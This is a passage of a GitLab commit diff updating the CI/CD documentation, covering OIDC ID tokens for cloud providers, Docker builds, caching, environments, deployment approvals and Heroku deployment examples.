diff options
| author | GitLab Bot <gitlab-bot@gitlab.com> | 2023-02-20 16:49:51 +0300 |
|---|---|---|
| committer | GitLab Bot <gitlab-bot@gitlab.com> | 2023-02-20 16:49:51 +0300 |
| commit | 71786ddc8e28fbd3cb3fcc4b3ff15e5962a1c82e (patch) | |
| tree | 6a2d93ef3fb2d353bb7739e4b57e6541f51cdd71 /doc/ci | |
| parent | a7253423e3403b8c08f8a161e5937e1488f5f407 (diff) | |
Add latest changes from gitlab-org/gitlab@15-9-stable-eev15.9.0-rc42
Diffstat (limited to 'doc/ci')
56 files changed, 1055 insertions, 689 deletions
diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index c93d2b6a82a..1aa579b842a 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -47,7 +47,7 @@ To ensure maximum availability of the cache, do one or more of the following: - [Tag your runners](../runners/configure_runners.md#use-tags-to-control-which-jobs-a-runner-can-run) and use the tag on jobs that share the cache. -- [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects). +- [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-project-runner-from-being-enabled-for-other-projects). - [Use a `key`](../yaml/index.md#cachekey) that fits your workflow. For example, you can configure a different cache for each branch. @@ -570,7 +570,7 @@ You can clear the cache in the GitLab UI: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **CI/CD > Pipelines**. -1. In the top right, select **Clear runner caches**. +1. In the upper right, select **Clear runner caches**. On the next commit, your CI/CD jobs use a new cache. diff --git a/doc/ci/cloud_services/aws/index.md b/doc/ci/cloud_services/aws/index.md index cc4dd53b29f..484a159cd2b 100644 --- a/doc/ci/cloud_services/aws/index.md +++ b/doc/ci/cloud_services/aws/index.md @@ -4,7 +4,7 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Configure OpenID Connect in AWS to retrieve temporary credentials +# Configure OpenID Connect in AWS to retrieve temporary credentials **(FREE)** In this tutorial, we'll show you how to use a GitLab CI/CD job with a JSON web token (JWT) to retrieve temporary credentials from AWS without needing to store secrets. To do this, you must configure OpenID Connect (OIDC) for ID federation between GitLab and AWS. For background and requirements for integrating GitLab using OIDC, see [Connect to cloud services](../index.md). @@ -30,6 +30,8 @@ Include the following information: After you create the identity provider, configure a [web identity role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html) with conditions for limiting access to GitLab resources. Temporary credentials are obtained using [AWS Security Token Service](https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html), so set the `Action` to [sts:AssumeRoleWithWebIdentity](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html). +You can create a [custom trust policy](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-custom.html) +for the role to limit authorization to a specific group, project, branch, or tag. For the full list of supported filtering types, see [Connect to cloud services](../index.md#configure-a-conditional-role-with-oidc-claims). ```json diff --git a/doc/ci/cloud_services/azure/index.md b/doc/ci/cloud_services/azure/index.md index b846ee4b792..321f9849632 100644 --- a/doc/ci/cloud_services/azure/index.md +++ b/doc/ci/cloud_services/azure/index.md @@ -4,7 +4,7 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Configure OpenID Connect in Azure to retrieve temporary credentials +# Configure OpenID Connect in Azure to retrieve temporary credentials **(FREE)** This tutorial demonstrates how to use a JSON web token (JWT) in a GitLab CI/CD job to retrieve temporary credentials from Azure without needing to store secrets. @@ -12,6 +12,9 @@ to retrieve temporary credentials from Azure without needing to store secrets. To get started, configure OpenID Connect (OIDC) for identity federation between GitLab and Azure. For more information on using OIDC with GitLab, read [Connect to cloud services](../index.md). +Azure [does not support wildcard matching for subjects of a conditional role](https://gitlab.com/gitlab-org/gitlab/-/issues/346737#note_836584745). +A separate credential configuration must be created for each branch that needs to access Azure. + Prerequisites: - Access to an existing Azure Subscription with `Owner` access level. diff --git a/doc/ci/cloud_services/google_cloud/index.md b/doc/ci/cloud_services/google_cloud/index.md index ba6efa4d35c..516a2d05cd1 100644 --- a/doc/ci/cloud_services/google_cloud/index.md +++ b/doc/ci/cloud_services/google_cloud/index.md @@ -4,7 +4,7 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Configure OpenID Connect with GCP Workload Identity Federation +# Configure OpenID Connect with GCP Workload Identity Federation **(FREE)** WARNING: The `CI_JOB_JWT_V2` variable is under development [(alpha)](../../../policy/alpha-beta-support.md#alpha-features) and is not yet suitable for production use. @@ -30,7 +30,7 @@ To complete this tutorial: ## Create the Google Cloud Workload Identity Pool -[Create a new Google Cloud Workload Identity Pool](https://cloud.google.com/iam/docs/configuring-workload-identity-federation#oidc) with the following options: +[Create a new Google Cloud Workload Identity Pool](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-clouds#oidc) with the following options: - **Name**: Human-friendly name for the Workload Identity Pool, such as `GitLab`. - **Pool ID**: Unique ID in the Google Cloud project for the Workload Identity Pool, @@ -42,7 +42,7 @@ We recommend creating a single _pool_ per GitLab installation per Google Cloud p ## Create a Workload Identity Provider -[Create a new Google Cloud Workload Identity Provider](https://cloud.google.com/iam/docs/configuring-workload-identity-federation#create_the_workload_identity_pool_and_provider) +[Create a new Google Cloud Workload Identity Provider](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-clouds#create_the_workload_identity_pool_and_provider) inside the Workload Identity Pool created in the previous step, using the following options: - **Provider type**: OpenID Connect (OIDC). @@ -86,7 +86,7 @@ To grant your GitLab CI/CD job permissions on Google Cloud, you must: service account on Google Cloud resources. These permissions vary significantly based on your use case. In general, grant this service account the permissions on your Google Cloud project and resources you want your GitLab CI/CD job to be able to use. For example, if you needed to upload a file to a Google Cloud Storage bucket in your GitLab CI/CD job, you would grant this Service Account the `roles/storage.objectCreator` role on your Cloud Storage bucket. -1. [Grant the external identity permissions](https://cloud.google.com/iam/docs/using-workload-identity-federation#impersonate) +1. [Grant the external identity permissions](https://cloud.google.com/iam/docs/workload-identity-federation-with-other-clouds#impersonate) to impersonate that Service Account. This step enables a GitLab CI/CD job to _authorize_ to Google Cloud, via Service Account impersonation. This step grants an IAM permission _on the Service Account itself_, giving the external identity permissions to act as that diff --git a/doc/ci/cloud_services/index.md b/doc/ci/cloud_services/index.md index b7129d92205..9304e3562d9 100644 --- a/doc/ci/cloud_services/index.md +++ b/doc/ci/cloud_services/index.md @@ -4,19 +4,34 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Connect to cloud services +# Connect to cloud services **(FREE)** > - `CI_JOB_JWT` variable for reading secrets from Vault [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) in GitLab 12.10. > - `CI_JOB_JWT_V2` variable to support additional OIDC providers [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/346737) in GitLab 14.7. +> - [ID tokens](../yaml/index.md) to support any OIDC provider, including HashiCorp Vault, [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/356986) in GitLab 15.7. -GitLab CI/CD supports [OpenID Connect (OIDC)](https://openid.net/connect/faq/) that allows your build and deployment job access to cloud credentials and services. Historically, teams stored secrets in projects or applied permissions on the GitLab Runner instance to build and deploy. To support this, a predefined variable named `CI_JOB_JWT_V2` is included in the CI/CD job allowing you to follow a scalable and least-privilege security approach. +GitLab CI/CD supports [OpenID Connect (OIDC)](https://openid.net/connect/faq/) to +give your build and deployment jobs access to cloud credentials and services. +Historically, teams stored secrets in projects or applied permissions on the GitLab Runner +instance to build and deploy. OIDC capable [ID tokens](../yaml/index.md#id_tokens) are configurable +in the CI/CD job allowing you to follow a scalable and least-privilege security approach. + +In GitLab 15.6 and earlier, you must use `CI_JOB_JWT_V2` instead of an ID token, +but it is not customizable. In GitLab 14.6 an earlier you must use the `CI_JOB_JWT`, which has limited support. ## Requirements - Account on GitLab. - Access to a cloud provider that supports OIDC to configure authorization and create roles. -The original implementation of `CI_JOB_JWT` supports [HashiCorp Vault integration](../examples/authenticating-with-hashicorp-vault/index.md). The updated implementation of `CI_JOB_JWT_V2` supports additional cloud providers with OIDC including AWS, Azure, GCP, and Vault. +ID tokens and `CI_JOB_JWT_V2` support cloud providers with OIDC, including: + +- AWS +- Azure +- GCP +- HashiCorp Vault + +The `CI_JOB_JWT` only supports the [HashiCorp Vault integration](../examples/authenticating-with-hashicorp-vault/index.md). NOTE: Configuring OIDC enables JWT token access to the target environments for all pipelines. @@ -25,10 +40,6 @@ review for the pipeline, focusing on the additional access. You can use the [sof as a starting point, and for more information about supply chain attacks, see [How a DevOps Platform helps protect against supply chain attacks](https://about.gitlab.com/blog/2021/04/28/devops-platform-supply-chain-attacks/). -The `CI_JOB_JWT_V2` variable is available for testing, but the full feature is planned -to be generally available when [issue 360657](https://gitlab.com/gitlab-org/gitlab/-/issues/360657) -is complete. - ## Use cases - Removes the need to store secrets in your GitLab group or project. Temporary credentials can be retrieved from your cloud provider through OIDC. @@ -39,18 +50,18 @@ is complete. ## How it works -Each job has a JSON web token (JWT) provided as a CI/CD [predefined variable](../variables/predefined_variables.md) named `CI_JOB_JWT` or `CI_JOB_JWT_V2`. This JWT can be used to authenticate with the OIDC-supported cloud provider such as AWS, Azure, GCP, or Vault. +Each job can be configured with ID tokens, which are provided as a CI/CD variable. These JWTs can be used to authenticate with the OIDC-supported cloud provider such as AWS, Azure, GCP, or Vault. The following fields are included in the JWT: | Field | When | Description | | ----------------------- | ------ | ----------- | +| `aud` | Always | Specified in the [ID tokens](../yaml/index.md#id_tokens) configuration | | `jti` | Always | Unique identifier for this token | | `iss` | Always | Issuer, the domain of your GitLab instance | | `iat` | Always | Issued at | | `nbf` | Always | Not valid before | | `exp` | Always | Expires at | -| `aud` | Always | Issuer, the domain of your GitLab instance | | `sub` | Always |`project_path:{group}/{project}:ref_type:{type}:ref:{branch_name}` | | `namespace_id` | Always | Use this to scope to group or user level namespace by ID | | `namespace_path` | Always | Use this to scope to group or user level namespace by path | @@ -72,7 +83,7 @@ The following fields are included in the JWT: { "jti": "c82eeb0c-5c6f-4a33-abf5-4c474b92b558", "iss": "https://gitlab.example.com", - "aud": "https://gitlab.example.com", + "aud": "https://vault.example.com", "iat": 1585710286, "nbf": 1585798372, "exp": 1585713886, @@ -102,8 +113,8 @@ sequenceDiagram participant GitLab Note right of Cloud: Create OIDC identity provider Note right of Cloud: Create role with conditionals - Note left of GitLab: CI/CD job with CI_JOB_JWT_V2 - GitLab->>+Cloud: Call cloud API with CI_JOB_JWT_V2 + Note left of GitLab: CI/CD job with ID token + GitLab->>+Cloud: Call cloud API with ID token Note right of Cloud: Decode & verify JWT with public key (https://gitlab/-/jwks) Note right of Cloud: Validate audience defined in OIDC Note right of Cloud: Validate conditional (sub, aud) role @@ -115,14 +126,25 @@ sequenceDiagram 1. Create an OIDC identity provider in the cloud (for example, AWS, Azure, GCP, Vault). 1. Create a conditional role in the cloud service that filters to a group, project, branch, or tag. -1. The CI/CD job includes a predefined variable `CI_JOB_JWT_V2` that is a JWT token. You can use this token for authorization with your cloud API. +1. The CI/CD job includes an ID token which is a JWT token. You can use this token for authorization with your cloud API. 1. The cloud verifies the token, validates the conditional role from the payload, and returns a temporary credential. ## Configure a conditional role with OIDC claims -To configure the trust between GitLab and OIDC, you must create a conditional role in the cloud provider that checks against the JWT token. The condition is validated against the JWT to create a trust specifically against two claims, the audience and subject. +To configure the trust between GitLab and OIDC, you must create a conditional role in the cloud provider that checks against the JWT. +The condition is validated against the JWT to create a trust specifically against two claims, the audience and subject. + +- Audience or `aud`: Configured as part of the ID token: + + ```yaml + job_needing_oidc_auth: + id_tokens: + OIDC_TOKEN: + aud: https://oidc.provider.com + script: + - echo $OIDC_TOKEN + ``` -- Audience or `aud`: The URL of the GitLab instance. This is defined when the identity provider is first configured in your cloud provider. - Subject or `sub`: A concatenation of metadata describing the GitLab CI/CD workflow including the group, project, branch, and tag. The `sub` field is in the following format: - `project_path:{group}/{project}:ref_type:{type}:ref:{branch_name}` diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index 49bce75e183..7c741ef3842 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -46,7 +46,7 @@ It has a pipeline that looks like the following: Using a DAG, you can relate the `_a` jobs to each other separately from the `_b` jobs, and even if service `a` takes a very long time to build, service `b` doesn't wait for it and finishes as quickly as it can. In this very same pipeline, `_c` and -`_d` can be left alone and run together in staged sequence just like any normal +`_d` can be left alone and run together in staged sequence just like any standard GitLab pipeline. ## Use cases @@ -68,7 +68,7 @@ as quickly as possible. Relationships are defined between jobs using the [`needs` keyword](../yaml/index.md#needs). -Note that `needs` also works with the [parallel](../yaml/index.md#parallel) keyword, +The `needs` keyword also works with the [parallel](../yaml/index.md#parallel) keyword, giving you powerful options for parallelization within your pipeline. ## Limitations diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index 20bdd059a85..a8c192dc944 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -25,9 +25,6 @@ To enable Docker commands for your CI/CD jobs, you can use: - [Docker-in-Docker](#use-docker-in-docker) - [Docker socket binding](#use-docker-socket-binding) -If you are using shared runners on GitLab.com, -[learn more about how these runners are configured](../runners/index.md). - ### Use the shell executor To include Docker commands in your CI/CD jobs, you can configure your runner to @@ -76,7 +73,7 @@ the Docker commands, but needs permission to do so. You can now use `docker` commands (and install `docker-compose` if needed). When you add `gitlab-runner` to the `docker` group, you are effectively granting `gitlab-runner` full root permissions. -Learn more about the [security of the `docker` group](https://blog.zopyx.com/on-docker-security-docker-group-considered-harmful/). +For more information, see the [security of the `docker` group](https://blog.zopyx.com/on-docker-security-docker-group-considered-harmful/). ### Use Docker-in-Docker @@ -369,7 +366,7 @@ are done to the services as well, making these incompatible. #### Use the Docker executor with Docker socket binding -To make Docker available in the context of the image, you will need to mount +To make Docker available in the context of the image, you need to mount `/var/run/docker.sock` into the launched containers. To do this with the Docker executor, you need to add `"/var/run/docker.sock:/var/run/docker.sock"` to the [Volumes in the `[runners.docker]` section](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index 0ba510acdbc..022aa7c3093 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -158,7 +158,7 @@ a useless shell layer. However, that does not work for all Docker versions. - For Docker 17.03 and earlier, the `entrypoint` can be set to `/bin/sh -c`, `/bin/bash -c`, or an equivalent shell available in the image. -The syntax of `image:entrypoint` is similar to [Dockerfile's `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint). +The syntax of `image:entrypoint` is similar to [Dockerfile `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint). Let's assume you have a `super/sql:experimental` image with a SQL database in it. You want to use it as a base image for your job because you @@ -453,7 +453,7 @@ registries to the `"credHelpers"` hash. ### Use checksum to keep your image secure -We recommend using the image checksum in your job definition in your `.gitlab-ci.yml` file to verify the integrity of the image. A failed image integrity verification will prevent you from using a modified container. +We recommend using the image checksum in your job definition in your `.gitlab-ci.yml` file to verify the integrity of the image. A failed image integrity verification prevents you from using a modified container. To use the image checksum you have to append the checksum at the end: diff --git a/doc/ci/environments/deployment_approvals.md b/doc/ci/environments/deployment_approvals.md index a95c47ca4b0..089ecefb373 100644 --- a/doc/ci/environments/deployment_approvals.md +++ b/doc/ci/environments/deployment_approvals.md @@ -113,22 +113,20 @@ NOTE: To protect, update, or unprotect an environment, you must have at least the Maintainer role. -### Optional settings - -#### Allow self-approval +### Allow self-approval **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381418) in GitLab 15.8. -By default, a user who triggered a deployment pipeline can't self-approve the deployment jobs. -You can allow the self-approval by the following settings: +By default, the user who triggers a deployment pipeline can't also approve the deployment job. +To allow self-approval of a deployment job: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Protected environments**. -1. From the **Approval options**, check **Allow pipeline triggerer to approve deployment**. +1. From the **Approval options**, select the **Allow pipeline triggerer to approve deployment** checkbox. -By enabling this, when a pipeline runs, deployment jobs will automatically be approved in the pipeline -if the triggerer is allowed to approve, otherwise nothing happens. +When a pipeline runs, deployment jobs are automatically approved in the pipeline if the user who +triggered the deployment is allowed to approve. ## Approve or reject a deployment @@ -139,6 +137,9 @@ Using either the GitLab UI or the API, you can: - Approve a deployment to allow it to proceed. - Reject a deployment to prevent it. +NOTE: +GitLab administrators can approve or reject all deployments. + ### Approve or reject a deployment using the UI Prerequisites: diff --git a/doc/ci/environments/img/environments_project_home.png b/doc/ci/environments/img/environments_project_home.png Binary files differnew file mode 100644 index 00000000000..36b33e260f0 --- /dev/null +++ b/doc/ci/environments/img/environments_project_home.png diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 514a0b255c5..60450692794 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -28,15 +28,17 @@ Prerequisites: - You must have at least the Reporter role. -To view a list of environments and deployments: +There are a few ways to view a list of environments for a given project: -1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Deployments > Environments**. +- On the project's overview page, if at least one environment is available (that is, not stopped). +  + +- On the left sidebar, select **Deployments > Environments**. The environments are displayed.  -1. To view a list of deployments for an environment, select the environment name, +- To view a list of deployments for an environment, select the environment name, for example, `staging`.  @@ -62,82 +64,100 @@ To search environments by name: ## Types of environments -There are two types of environments: +An environment is either static or dynamic: -- Static environments have static names, like `staging` or `production`. -- Dynamic environments have dynamic names. Dynamic environments - are a fundamental part of [Review apps](../review_apps/index.md). +- Static environment + - Usually reused by successive deployments. + - Has a static name - for example, `staging` or `production`. + - Created manually or as part of a CI/CD pipeline. +- Dynamic environment + - Usually created in a CI/CD pipeline and used by only a single deployment, then either stopped or + deleted. + - Has a dynamic name, usually based on the value of a CI/CD variable. + - A feature of [review apps](../review_apps/index.md). ### Create a static environment -You can create an environment and deployment in the UI or in your `.gitlab-ci.yml` file. +You can create a static environment in the UI or in your `.gitlab-ci.yml` file. + +#### In the UI + +Prerequisites: -In the UI: +- You must have at least the Developer role. + +To create a static environment in the UI: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Deployments > Environments**. 1. Select **New environment**. -1. Enter a name and external URL. +1. Complete the fields. 1. Select **Save**. -In your `.gitlab-ci.yml` file: +#### In your `.gitlab-ci.yml` file -1. Specify a name for the environment and optionally, a URL, which determines the deployment URL. - For example: +Prerequisites: - ```yaml - deploy_staging: - stage: deploy - script: - - echo "Deploy to staging server" - environment: - name: staging - url: https://staging.example.com - ``` +- You must have at least the Developer role. -1. Trigger a deployment. (For example, by creating and pushing a commit.) +To create a static environment, in your `.gitlab-ci.yml` file: -When the job runs, the environment and deployment are created. +1. Define a job in the `deploy` stage. +1. In the job, define the environment `name` and `url`. If an +environment of that name doesn't exist when the pipeline runs, it is created. NOTE: -Some characters cannot be used in environment names. -For more information about the `environment` keywords, see -[the `.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). +Some characters cannot be used in environment names. For more information about the +`environment` keywords, see the [`.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). -### Create a dynamic environment - -To create a dynamic name and URL for an environment, you can use -[predefined CI/CD variables](../variables/predefined_variables.md). For example: +For example, to create an environment named `staging`, with URL `https://staging.example.com`: ```yaml -deploy_review: +deploy_staging: stage: deploy script: - - echo "Deploy a review app" + - echo "Deploy to staging server" environment: - name: review/$CI_COMMIT_REF_SLUG - url: https://$CI_ENVIRONMENT_SLUG.example.com - rules: - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH - when: never - - if: $CI_COMMIT_BRANCH + name: staging + url: https://staging.example.com ``` -In this example: +### Create a dynamic environment -- The `name` is `review/$CI_COMMIT_REF_SLUG`. Because the [environment name](../yaml/index.md#environmentname) - can contain slashes (`/`), you can use this pattern to distinguish between dynamic and static environments. -- For the `url`, you could use `$CI_COMMIT_REF_SLUG`, but because this value - may contain a `/` or other characters that would not be valid in a domain name or URL, - use `$CI_ENVIRONMENT_SLUG` instead. The `$CI_ENVIRONMENT_SLUG` variable is guaranteed to be unique. +To create a dynamic environment, you use [CI/CD variables](../variables/index.md) that are unique to each pipeline. + +Prerequisites: -You do not have to use the same prefix or only slashes (`/`) in the dynamic environment name. -However, when you use this format, you can [group similar environments](#group-similar-environments). +- You must have at least the Developer role. + +To create a dynamic environment, in your `.gitlab-ci.yml` file: + +1. Define a job in the `deploy` stage. +1. In the job, define the following environment attributes: + - `name`: Use a related CI/CD variable like `$CI_COMMIT_REF_SLUG`. Optionally, add a static + prefix to the environment's name, which [groups in the UI](#group-similar-environments) all + environments with the same prefix. + - `url`: Optional. Prefix the hostname with a related CI/CD variable like `$CI_ENVIRONMENT_SLUG`. NOTE: -Some variables cannot be used as environment names or URLs. -For more information about the `environment` keywords, see -[the `.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). +Some characters cannot be used in environment names. For more information about the +`environment` keywords, see the [`.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). + +In the following example, every time the `deploy_review_app` job runs the environment's name and +URL are defined using unique values. + +```yaml +deploy_review_app: + stage: deploy + script: make deploy + environment: + name: review/$CI_COMMIT_REF_SLUG + url: https://$CI_ENVIRONMENT_SLUG.example.com + only: + - branches + except: + - main +``` ## Deployment tier of environments @@ -200,10 +220,8 @@ associated with your project, you can configure these deployments from your `.gitlab-ci.yml` file. NOTE: -Kubernetes configuration isn't supported for Kubernetes clusters that are +Kubernetes configuration isn't supported for Kubernetes clusters [managed by GitLab](../../user/project/clusters/gitlab_managed_clusters.md). -To follow progress on support for GitLab-managed clusters, see the -[relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/38054). The following configuration options are supported: @@ -330,7 +348,7 @@ Note the following: NOTE: For Windows runners, using `echo` to write to `.env` files may fail. Using the PowerShell `Add-Content`command -will help in such cases. For example: +helps in such cases. For example: ```powershell Add-Content -Path deploy.env -Value "DYNAMIC_ENVIRONMENT_URL=$DYNAMIC_ENVIRONMENT_URL" @@ -534,7 +552,7 @@ In this example, if the configuration is not identical: Also in the example, `GIT_STRATEGY` is set to `none`. If the `stop_review_app` job is [automatically triggered](../environments/index.md#stop-an-environment), -the runner won't try to check out the code after the branch is deleted. +the runner doesn't try to check out the code after the branch is deleted. The `stop_review_app` job **must** have the following keywords defined: @@ -612,6 +630,16 @@ Because `stop_review_app` is set to `auto_stop_in: 1 week`, if a merge request is inactive for more than a week, GitLab automatically triggers the `stop_review_app` job to stop the environment. +#### Stop an environment without running the `on_stop` action + +There may be times when you want to stop an environment without running the defined +[`on_stop`](../yaml/index.md#environmenton_stop) action. For example, you want to delete many +environments without using CI/CD minutes. + +To stop an environment without running the defined `on_stop` action, execute the +[Stop an environment API](../../api/environments.md#stop-an-environment) with the parameter +`force=true`. + #### Stop an environment through the UI NOTE: @@ -680,7 +708,7 @@ You can view a deployment's expiration date in the GitLab UI. 1. On the left sidebar, select **Deployments > Environments**. 1. Select the name of the deployment. -In the top left, next to the environment name, the expiration date is displayed. +In the upper left, next to the environment name, the expiration date is displayed. #### Override a deployment's scheduled stop time @@ -689,20 +717,22 @@ You can manually override a deployment's expiration date. 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Deployments > Environments**. 1. Select the deployment name. -1. On the top right, select the thumbtack (**{thumbtack}**). +1. in the upper right, select the thumbtack (**{thumbtack}**).  The `auto_stop_in` setting is overwritten and the environment remains active until it's stopped manually. -#### Delete a stopped environment +### Delete an environment -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20620) in GitLab 12.10. +Delete an environment when you want to remove it and all its deployments. + +Prerequisites: -You can delete [stopped environments](#stop-an-environment) in the GitLab UI or by using -[the API](../../api/environments.md#delete-an-environment). +- You must have at least the Developer role. +- You must [stop](#stop-an-environment) the environment before it can be deleted. -To delete a stopped environment in the GitLab UI: +To delete an environment: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Deployments > Environments**. @@ -710,18 +740,6 @@ To delete a stopped environment in the GitLab UI: 1. Next to the environment you want to delete, select **Delete environment**. 1. On the confirmation dialog box, select **Delete environment**. -#### Delete an active environment without running a stop job - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225794) in GitLab 15.1. - -You can delete an active environment without running a stop job. -This is useful when you have an active environment, but the corresponding `action: stop` job can't run or succeed for some reason. - -To delete an active environment: - -1. Execute the [Stop an environment API](../../api/environments.md#stop-an-environment) while specifying `force=true`. -1. Execute the [Delete an environment API](../../api/environments.md#delete-an-environment). - ### Access an environment for preparation or verification purposes > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208655) in GitLab 13.2. @@ -975,7 +993,7 @@ the `review/feature-1` spec takes precedence over `review/*` and `*` specs. ### Rename an environment -> Renaming environments through the UI was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68550) in GitLab 14.3. Renaming environments through the API was deprecated and [will be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/338897) in GitLab 15.0. +> Renaming environments through the UI was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68550) in GitLab 14.3. Renaming environments through the API was deprecated and [is planned to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/338897) in GitLab 15.0. Renaming an environment through the UI is not possible. Instead, you need to delete the old environment and create a new one: @@ -1124,7 +1142,7 @@ To fix this, use one of the following solutions: Starting from GitLab 14.5, GitLab [deletes old deployment refs](#archive-old-deployments) to keep your Git repository performant. -If you have to restore archived Git-refs, please ask an administrator of your self-managed GitLab instance +If you have to restore archived Git-refs, ask an administrator of your self-managed GitLab instance to execute the following command on Rails console: ```ruby diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index b72ee9b388f..fc49be798ec 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -26,7 +26,7 @@ Maintainer role. Prerequisites: -- When granting the **Allowed to deploy** permission to a group or subgroup, the user configuring the protected environment must be a **direct member** of the group or subgroup to be added. Otherwise, the group or subgroup will not show up in the dropdown list. For more information see [issue #345140](https://gitlab.com/gitlab-org/gitlab/-/issues/345140). +- When granting the **Allowed to deploy** permission to a group or subgroup, the user configuring the protected environment must be a **direct member** of the group or subgroup to be added. Otherwise, the group or subgroup does not show up in the dropdown list. For more information see [issue #345140](https://gitlab.com/gitlab-org/gitlab/-/issues/345140). To protect an environment: @@ -125,7 +125,7 @@ If the user also has push or merge access to the branch deployed on production, they have the following privileges: - [Stop an environment](index.md#stop-an-environment). -- [Delete a stopped environment](index.md#delete-a-stopped-environment). +- [Delete an environment](index.md#delete-an-environment). - [Create an environment terminal](index.md#web-terminals-deprecated). ## Deployment-only access to protected environments @@ -261,6 +261,6 @@ Protected environments can also be used to require manual approvals before deplo ### Reporter can't run a trigger job that deploys to a protected environment in downstream pipeline -A user who has [deployment-only access to protected environments](#deployment-only-access-to-protected-environments) might **not** be able to run a job if it's with a [`trigger`](../yaml/index.md#trigger) keyword. This is because the job is missing the [`environment`](../yaml/index.md#environment) keyword definition to associate the job with the protected environment, therefore the job is recognized as a normal job that uses [regular CI/CD permission model](../../user/permissions.md#gitlab-cicd-permissions). +A user who has [deployment-only access to protected environments](#deployment-only-access-to-protected-environments) might **not** be able to run a job if it's with a [`trigger`](../yaml/index.md#trigger) keyword. This is because the job is missing the [`environment`](../yaml/index.md#environment) keyword definition to associate the job with the protected environment, therefore the job is recognized as a standard job that uses [regular CI/CD permission model](../../user/permissions.md#gitlab-cicd-permissions). -Please see [this issue](https://gitlab.com/groups/gitlab-org/-/epics/8483) for more information about supporting `environment` keyword with `trigger` keyword. +See [this issue](https://gitlab.com/groups/gitlab-org/-/epics/8483) for more information about supporting `environment` keyword with `trigger` keyword. diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index 125ae3650c9..7bb14c4c900 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -13,7 +13,7 @@ NOTE: [GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a HashiCorp Vault, and enables you to [use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job). -To learn more, read [Using external secrets in CI](../../secrets/index.md). +For more information, see [Using external secrets in CI](../../secrets/index.md). ## Requirements diff --git a/doc/ci/examples/deployment/index.md b/doc/ci/examples/deployment/index.md index 7a20bfc2e0a..67b4ec6b279 100644 --- a/doc/ci/examples/deployment/index.md +++ b/doc/ci/examples/deployment/index.md @@ -46,7 +46,7 @@ staging: stage: deploy script: - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY + - dpl heroku api --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY environment: staging ``` @@ -68,7 +68,7 @@ staging: - apt-get update -yq - apt-get install -y ruby-dev - gem install dpl - - dpl --provider=heroku --app=my-app-staging --api_key=$HEROKU_STAGING_API_KEY + - dpl heroku api --app=my-app-staging 